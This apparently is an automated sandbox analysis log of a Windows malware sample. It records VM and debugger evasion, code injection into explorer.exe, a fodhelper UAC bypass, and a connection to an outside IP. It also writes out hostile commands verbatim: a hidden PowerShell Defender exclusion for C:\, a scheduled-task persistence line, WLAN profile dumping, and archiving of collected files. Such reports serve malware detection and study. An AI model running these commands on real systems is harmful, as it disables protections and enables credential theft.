Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose, 17_2_00BF3ED9
Source: C:\Windows\explorer.exe Code function: 20_2_009E30A8 FindFirstFileW,FindNextFileW,FindClose, 20_2_009E30A8
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EF158F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free, 21_2_00EF158F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_004D255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose, 22_2_004D255C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8E20 GetLogicalDriveStringsW, 2_3_00007DF486EE8E20
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F47344 GetSystemInfo, 2_3_00007DF486F47344
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft Jump to behavior
Source: explorer.exe, 0000000C.00000000.2083677940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: OpenWith.exe, 00000002.00000003.1854724297.000002427DAA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkLinkcLinkSymbolicLink
Source: dialer.exe, 00000001.00000002.1767971619.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: AppLaunch.exe, 00000006.00000002.2027105987.0000018E5DB2E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000C.00000000.2083677940.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 0000000C.00000000.2083677940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000C.00000000.2083677940.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000019.00000002.2411494217.000002281527F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTTAVMWare
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: DisableGuestVmNetworkConnectivity
Source: dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: EnableGuestVmNetworkConnectivity
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007A34000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBnx
Source: OpenWith.exe, 00000002.00000003.1863516822.000002427DA83000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLinkcLinkSymbolicLinks
Source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: OpenWith.exe, 00000002.00000003.1977903926.000002427DAAA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-0
Source: AppLaunch.exe, 00000006.00000002.2028497976.0000018E77E40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009660000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: OpenWith.exe, 00000002.00000003.1854724297.000002427DAA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkmbolicLinkSymbolicLink@
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\AppData\Roaming\utihrjr System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\e7CLP6462y.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\AppData\Roaming\utihrjr System information queried: CodeIntegrityInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\utihrjr Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D84DCA8 LdrLoadDll, 6_2_0000018E5D84DCA8
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0031A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0031A4ED
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0030FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 15_2_0030FA0A
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_00427277 mov eax, dword ptr fs:[00000030h] 0_3_00427277
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_2_00427277 mov eax, dword ptr fs:[00000030h] 0_2_00427277
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B4027F mov eax, dword ptr fs:[00000030h] 1_3_02B4027F
Source: C:\Users\user\AppData\Local\Temp\B677.exe Code function: 14_3_00427277 mov eax, dword ptr fs:[00000030h] 14_3_00427277
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0031DC12 mov eax, dword ptr fs:[00000030h] 15_2_0031DC12
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00319F9B mov eax, dword ptr fs:[00000030h] 15_2_00319F9B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EEDC12 mov eax, dword ptr fs:[00000030h] 21_2_00EEDC12
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EE9F9B mov eax, dword ptr fs:[00000030h] 21_2_00EE9F9B
Source: C:\Windows\SysWOW64\dialer.exe Code function: 31_3_02A8027F mov eax, dword ptr fs:[00000030h] 31_3_02A8027F
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_2_0040170C HeapCreate,HeapAlloc,HeapAlloc,GetModuleHandleA,HeapAlloc,CreateEventA,memcpy,HeapAlloc,memcpy,GetProcessHeap,RtlAllocateHeap,memcpy,GetProcessHeap,HeapAlloc,memcpy,memcpy,HeapFree,WaitForSingleObject,FindCloseChangeNotification,VirtualFree,GetProcessHeap,HeapFree,HeapDestroy, 0_2_0040170C
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB71A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler, 2_2_000002427BB71A90
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0031A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0031A4ED
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0030162A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0030162A
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00300C5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 15_2_00300C5C
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EEA4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_2_00EEA4ED
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED162A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_2_00ED162A
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED0C5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 21_2_00ED0C5C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: utihrjr.12.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.196.8.137 80
Adds a directory exclusion to Windows Defender
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_002E6990 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree, 15_2_002E6990
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Thread created: C:\Windows\explorer.exe EIP: 8741950 Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Thread created: unknown EIP: 87A1950 Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\explorer.exe Memory written: PID: 4364 base: ED79C0 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 7108 base: 7FF72B812D10 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 6072 base: ED79C0 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 2668 base: ED79C0 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 2564 base: 7FF72B812D10 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 1816 base: ED79C0 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 4112 base: ED79C0 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 3740 base: 7FF72B812D10 value: 90 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: PID: 2164 base: ED79C0 value: 90 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\e7CLP6462y.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe" Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe" Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\*.*"
Source: C:\Windows\SysWOW64\dialer.exe Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: explorer.exe, 0000000C.00000000.2079761485.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman$
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: }Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00301816 cpuid 15_2_00301816
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\System32\OpenWith.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\OpenWith.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
